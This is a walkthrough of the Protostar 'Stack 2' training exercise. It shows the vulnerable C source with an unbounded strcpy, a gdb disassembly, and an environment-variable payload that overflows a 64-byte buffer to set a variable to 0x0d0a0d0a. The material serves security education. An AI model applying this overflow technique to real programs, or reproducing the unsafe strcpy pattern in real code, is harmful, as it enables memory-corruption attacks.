PROTOSTAR : STACK 2

SOURCE CODE

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}
```

SOURCE CODE EXPLANATION

- **Variables : volatile int** modified , **char** buffer[64] , **char** *variable.

- The program checks for an **environment variable (GREENIE)** using the **getenv()** cmd in **C.**

- **Variable** = stores the value received from the **GREENIE** environment variable.

- If the **variable = NULL (empty)** → then the program prints the statement **please set the GREENIE environment variable\n".**

- **strcpy(buffer, variable)** → copies the value of **variable** to **buffer.**

- **Modified** variable is set to **0** . It checks whether the value of **modified** is equal to **0x0d0a0d0a. (NOTE:** Hex address should be stored as per **LITTLE ENDIAN SYSTEM).**

- We need to set the **GREENIE(**environment variable) value in such a way that it causes **STACK BUFFER OVERFLOW.**

- The overflow value will affect the **modified variable** and we will push the **0x0d0a0d0a** hex address while **overflowing modified variable.** After successfully **reversing** the code we will get this message **"you have correctly modified the variable\n".**

ENVIRONMENT VARIABLES

DEFINITION:

A variable whose value is set outside the program. **Environment variable** consists of various important values responsible for the proper functioning of the program. These **environment variables** can consist codes which are also responsible for the working of **Operating System.** Shows the current user information and the login timings and other user values and system information.

For example **PATH** environment variable consists the path of the directory or contains the location of a program or executable. When we search and start the program the **Operating System** searches the **PATH** environment variable for the program location.

%ProgramFiles% environment variable consist of the Programs stored in **OS** , typically in the **"C:\Program Files"** location.

If you are in in **Windows** you can lookup for **Environment Variables** in the **start menu**. If you are in **Linux** type the cmd **env** this will show you the various environment variables in the current user session.

USING GDB TO REVERSE ENGINEER AND ANALYZE ASSEMBLER INSTRUCTIONS

```
user@protostar:/opt/protostar/bin$ ./stack2
stack2: please set the GREENIE environment variable

user@protostar:/opt/protostar/bin$ gdb -q stack2
Reading symbols from /opt/protostar/bin/stack2...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x08048494 <main+0>:    push   ebp
0x08048495 <main+1>:    mov    ebp,esp
0x08048497 <main+3>:    and    esp,0xfffffff0
0x0804849a <main+6>:    sub    esp,0x60
0x0804849d <main+9>:    mov    DWORD PTR [esp],0x80485e0
0x080484a4 <main+16>:   call   0x804837c <getenv@plt>
0x080484a9 <main+21>:   mov    DWORD PTR [esp+0x5c],eax
0x080484ad <main+25>:   cmp    DWORD PTR [esp+0x5c],0x0
0x080484b2 <main+30>:   jne    0x80484c8 <main+52>
0x080484b4 <main+32>:   mov    DWORD PTR [esp+0x4],0x80485e8
0x080484bc <main+40>:   mov    DWORD PTR [esp],0x1
0x080484c3 <main+47>:   call   0x80483bc <errx@plt>
0x080484c8 <main+52>:   mov    DWORD PTR [esp+0x58],0x0
0x080484d0 <main+60>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484d4 <main+64>:   mov    DWORD PTR [esp+0x4],eax
0x080484d8 <main+68>:   lea    eax,[esp+0x18]
0x080484dc <main+72>:   mov    DWORD PTR [esp],eax
0x080484df <main+75>:   call   0x804839c <strcpy@plt>
0x080484e4 <main+80>:   mov    eax,DWORD PTR [esp+0x58]
0x080484e8 <main+84>:   cmp    eax,0xd0a0d0a
0x080484ed <main+89>:   jne    0x80484fd <main+105>
0x080484ef <main+91>:   mov    DWORD PTR [esp],0x8048618
0x080484f6 <main+98>:   call   0x80483cc <puts@plt>
0x080484fb <main+103>:  jmp    0x8048512 <main+126>
0x080484fd <main+105>:  mov    edx,DWORD PTR [esp+0x58]
0x08048501 <main+109>:  mov    eax,0x8048641
0x08048506 <main+114>:  mov    DWORD PTR [esp+0x4],edx
0x0804850a <main+118>:  mov    DWORD PTR [esp],eax
0x0804850d <main+121>:  call   0x80483ac <printf@plt>
0x08048512 <main+126>:  leave
0x08048513 <main+127>:  ret
End of assembler dump.
(gdb)
```

./stack2 executes the program but as I explained during the source code explanation part, without adding the **env variable** the code won't work. It will always ask the user to set **env variable.**

```
0x080484e4 <main+80>:   mov    eax,DWORD PTR [esp+0x58]
0x080484e8 <main+84>:   cmp    eax,0xd0a0d0a
0x080484ed <main+89>:   jne    0x80484fd <main+105>
0x080484ef <main+91>:   mov    DWORD PTR [esp],0x8048618
```

Checkout the highlighted instructions clearly. It first **moves** or copies the value of **esp+0x58** register to **eax**. Then it compares the value of **eax** with **0xd0a0d0a.** If the comparison **returns zero** then

0x080484fb <main+103>: jmp 0x8048512 <main+126>

Else

0x080484ed <main+89>: jne 0x80484fd <main+105>

This clearly tells us that **esp+0x58 □ modified variable of the C program.**

esp+0x5c □ variable . It checks for the **GREENIE environment variable.**

STACK BUFFER OVERFLOW ATTACK AND ADDING ENVIRONMENT VARIABLE

```
user@protostar:/opt/protostar/bin$ export GREENIE=$(python -c "print 'A'*64")
user@protostar:/opt/protostar/bin$ ./stack2
Try again, you got 0x00000000
user@protostar:/opt/protostar/bin$ export GREENIE=$(python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'")
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable
user@protostar:/opt/protostar/bin$
```

export GREENIE=$(python -c "print 'A'*64")
Try again, you got 0x00000000

At first I intentionally exported the **GREENIE env** without causing **Buffer Overflow** to checkout the output and as discussed in the previous slides the **eax** comparison isn't **equal to zero** so the program asks us to **try again.**

export GREENIE=$(python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'")
you have correctly modified the variable

This time I filled the **buffer variable** with **64 string characters of A then I appended the string with the hex value of the address specified in the if condition if(modified == 0x0d0a0d0a)**

NOTE :- The address needs to be appended by keeping the **LITTLE ENDIAN SYSTEM** in MIND.